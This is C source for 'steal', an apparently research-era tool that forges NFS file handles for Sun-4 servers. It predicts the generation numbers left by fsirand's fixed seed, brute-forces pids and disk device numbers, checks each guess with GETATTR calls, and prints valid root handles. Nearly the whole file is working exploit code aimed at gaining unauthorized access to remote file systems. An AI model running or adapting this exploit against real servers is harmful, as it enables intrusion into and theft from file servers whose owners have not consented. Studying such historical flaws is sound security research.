1 /*
2  * Copyright (c) 1990-1998 by Leendert van Doorn <leendert@paramecium.org>
3  * All rights reserved.
4  *
5  * Redistribution and use in source and binary forms, with or without
6  * modification, are permitted provided that the following conditions are met:
7  *     * Redistributions of source code must retain the above copyright
8  *       notice, this list of conditions and the following disclaimer.
9  *     * Redistributions in binary form must reproduce the above copyright
10  *       notice, this list of conditions and the following disclaimer in the
11  *       documentation and/or other materials provided with the distribution.
12  *     * Neither the name of Vrije Universiteit nor the names of its
13  *       contributors may be used to endorse or promote products derived from
14  *       this software without specific prior written permission.
15  *
16  * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
17  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
18  * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
19  * DISCLAIMED. IN NO EVENT SHALL LEENDERT VAN DOORN, OR VRIJE UNIVERSITEIT
20  * (AMSTERDAM) BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
21  * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
22  * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
23  * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
24  * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
25  * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
26  * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
27  */
28 /*
29  * steal - try to steal handles from a sun-4 NFS file server
30  */
31 #include <stdio.h>
32 #include <string.h>
33 #include <ctype.h>
34 #include <errno.h>
35 #include <netdb.h>
36 #include <rpc/rpc.h>
37 #include <sys/param.h>
38 #include <sys/socket.h>
39 #include <netinet/in.h>
40 #include <arpa/inet.h>
41 #include <sys/time.h>
42 #include <sys/vnode.h>
43 #include <sys/vfs.h>
44 #ifdef SYSV
45 #include <sys/inode.h>
46 #else
47 #include <ufs/inode.h>
48 #endif
49 #include "mount.h"
50 #include "nfs_prot.h"
51 
52 /*
53  * This random seed is the constant value that the
54  * uninitialized variable ``timeval'' in fsirand contains.
55  */
56 #define	SUN4_RANDOM	(0 + 32)
57 
58 /*
59  * Disk device descriptor (major/minor)
60  */
61 #define	DSK_NMIN	16
62 struct disk {
63     int dsk_maj;		/* major disk device number */
64     int dsk_min[16];		/* minor device table */
65 };
66 
67 /*
68  * Device descriptor
69  */
70 #define	DEV_NDISKS	2
71 struct device {
72     long dev_random;		/* machine specific random seed */
73     int dev_pid;		/* maximum pid to look at */
74     struct disk dev_disks[DEV_NDISKS]; /* disk table */
75 };
76 
77 struct device device = {
78     { SUN4_RANDOM, 2000,
79 	{ 10, 	/* /dev/xd[01][a-h] */
80 	    { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 } },
81 	{ 7, 	/* /dev/sd[01][a-h] */
82 	    { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 } },
83     },
84 };
85 
86 /*
87  * File system types, these correspond to entries in fsconf
88  */
89 #define MOUNT_UFS       1
90 #define MOUNT_NFS       2
91 #define MOUNT_PC        3
92 #define MOUNT_LO        4
93 #define MOUNT_TFS       5
94 #define MOUNT_TMP       6
95 
96 /*
97  * This struct is only used to find the size of the data field in the
98  * fhandle structure below.
99  */
100 static struct fhsize {
101     fsid_t  f1;
102     u_short f2;
103     char    f3[4];
104     u_short f4;
105     char    f5[4];
106 };
107 #define NFS_FHMAXDATA   ((NFS_FHSIZE - sizeof (struct fhsize) + 8) / 2)
108 
109 struct svcfh {
110     fsid_t  fh_fsid;                /* filesystem id */
111     u_short fh_len;                 /* file number length */
112     char    fh_data[NFS_FHMAXDATA]; /* and data */
113     u_short fh_xlen;                /* export file number length */
114     char    fh_xdata[NFS_FHMAXDATA]; /* and data */
115 };
116 
117 struct timeval timeout = { 60, 0 };
118 struct sockaddr_in server_addr;
119 CLIENT *client;
120 
121 int handleok();
122 long random();
123 
main(argc,argv)124 main(argc, argv)
125     int argc;
126     char **argv;
127 {
128     register int pid;
129     int sock = RPC_ANYSOCK;
130     char *host;
131 
132     if (argc != 2) {
133 	fprintf(stderr, "Usage: %s host\n", argv[0]);
134 	exit(1);
135     }
136     host = argv[1];
137 
138     /* convert hostname to IP address */
139     if (isdigit(*host)) {
140 	server_addr.sin_addr.s_addr = inet_addr(host);
141     } else {
142 	struct hostent *hp = gethostbyname(host);
143 	if (hp == NULL) {
144 	    fprintf(stderr, "%s: unknown host\n", host);
145 	    exit(1);
146 	}
147 	bcopy(hp->h_addr, &server_addr.sin_addr.s_addr, hp->h_length);
148 	host = hp->h_name;
149     }
150     server_addr.sin_family = AF_INET;
151     server_addr.sin_port = 0;
152 
153     /* setup communication channel with NFS daemon */
154     if ((client = clntudp_create(&server_addr,
155 	NFS_PROGRAM, NFS_VERSION, timeout, &sock)) == NULL) {
156 	clnt_pcreateerror(host);
157 	exit(1);
158     }
159     clnt_control(client, CLSET_TIMEOUT, &timeout);
160     client->cl_auth = authunix_create_default(-2, -2);
161 
162     /*
163      * For every likely process id, search through the list
164      * of likely devices and create a handle. Since the pid's
165      * used in fsirand are often low (<1000), it makes more
166      * sense to go through the devices first.
167      */
168     for (pid = 0; pid <= device.dev_pid; pid++) {
169 	register int n, dsk;
170 	long gen;
171 
172 	/* initialize generation generator */
173 	srandom(1);
174 	srandom(pid + device.dev_random);
175 	n = pid;
176 	while (n--) (void) random();
177 
178 	if ((pid % 100) == 0) printf("\tpid = %d\n", pid);
179 
180 	/* compute generation # for inode 2 */
181 	(void) random(); /* inode 0 */
182 	(void) random(); /* inode 1 */
183 	gen = random();
184 
185 	/*
186 	 * Try every disk controler
187 	 */
188 	for (dsk = 0; dsk < DEV_NDISKS; dsk++) {
189 	    register struct disk *dp = &device.dev_disks[dsk];
190 	    register int min, maj = dp->dsk_maj;
191 
192 	    /*
193 	     * Try every disk. A minor number of -1 indicates that
194 	     * it has already been guessed.
195 	     */
196 	    for (min = 0; min < DSK_NMIN; min++) {
197 		fhandle handle;
198 
199 		if(dp->dsk_min[min] == -1) continue;
200 		makehandle(handle, maj, dp->dsk_min[min], 2, gen, 2, gen);
201 		if (handleok(handle)) {
202 		    dp->dsk_min[min] = -1;
203 		    printhandle(handle);
204 		    break;
205 		}
206 	    }
207 	}
208     }
209 
210     auth_destroy(client->cl_auth);
211     clnt_destroy(client);
212     exit(0);
213 }
214 
215 /*
216  * Create a handle
217  */
218 makehandle(handle, maj, min, inum, gen, rinum, rgen)
219     struct svcfh *handle;
220     int maj, min;
221     long inum, gen;
222     long rinum, rgen;
223 {
224     handle->fh_fsid.val[0] = makedev(maj, min);
225     handle->fh_fsid.val[1] = MOUNT_UFS;
226 
227     handle->fh_len = 10;
228     *((u_short *)&handle->fh_data[0]) = 0;	/* length */
229     *((ino_t *)&handle->fh_data[2]) = inum;	/* inode */
230     *((long *)&handle->fh_data[6]) = gen;	/* generation number */
231 
232     handle->fh_xlen = 10;
233     *((u_short *)&handle->fh_xdata[0]) = 0;	/* length */
234     *((ino_t *)&handle->fh_xdata[2]) = rinum;	/* inode */
235     *((long *)&handle->fh_xdata[6]) = rgen;	/* generation number */
236 }
237 
238 /*
239  * Just use some fast nfs rpc to check out the
240  * correctness of the handle.
241  */
242 int
handleok(handle)243 handleok(handle)
244     fhandle *handle;
245 {
246     attrstat *res;
247 
248     if ((res = nfsproc_getattr_2(handle, client)) == NULL)
249 	return 0;
250     if (res->status != NFS_OK)
251 	return 0;
252     return 1;
253 }
254 
255 printhandle(handle)
256     struct svcfh *handle;
257 {
258     register char *p;
259     register int i;
260 
261     /* fsid[0] -> major, minor device number */
262     fprintf(stderr, "\t(%d,%d) ",
263 	major(handle->fh_fsid.val[0]), minor(handle->fh_fsid.val[0]));
264 
265     /* fsid[1] -> file system type */
266     switch (handle->fh_fsid.val[1]) {
267     case MOUNT_UFS: fprintf(stderr, "ufs "); break;
268     case MOUNT_NFS: fprintf(stderr, "nfs "); break;
269     case MOUNT_PC:  fprintf(stderr, "pcfs "); break;
270     case MOUNT_LO:  fprintf(stderr, "lofs "); break;
271     case MOUNT_TFS: fprintf(stderr, "tfs "); break;
272     case MOUNT_TMP: fprintf(stderr, "tmp "); break;
273     default:	    fprintf(stderr, "unknown "); break;
274     }
275 
276     /* file number length, and data */
277     fprintf(stderr, "<%d,%ld,%ld> ",
278 	*((u_short *)&handle->fh_data[0]),
279 	*((ino_t *)&handle->fh_data[2]),
280 	*((long *)&handle->fh_data[6]));
281 
282     /* export file number length, and data */
283     fprintf(stderr, "<%d,%ld,%ld>\n",
284 	*((u_short *)&handle->fh_xdata[0]),
285 	*((ino_t *)&handle->fh_xdata[2]),
286 	*((long *)&handle->fh_xdata[6]));
287 
288     /* print handle in hex-decimal format (as input for nfs) */
289     fprintf(stderr, "handle:");
290     for (i = 0, p = (char *)handle; i < sizeof(struct svcfh); i++, p++)
291 	fprintf(stderr, " %02x", *p & 0xFF);
292     fprintf(stderr, "\n");
293 }
294 
295 /*
296  * Returns an auth handle with parameters determined by
297  * doing lots of syscalls.
298  */
299 AUTH *
authunix_create_default(uid,gid)300 authunix_create_default(uid, gid)
301     int uid, gid;
302 {
303     char machname[MAX_MACHINE_NAME + 1];
304     int gids[1];
305 
306     if (gethostname(machname, MAX_MACHINE_NAME) == -1) {
307 	fprintf(stderr, "authunix_create_default: cannot get hostname\n");
308 	exit(1);
309     }
310     machname[MAX_MACHINE_NAME] = 0;
311     gids[0] = gid;
312     return (authunix_create(machname, uid, gid, 1, gids));
313 }
314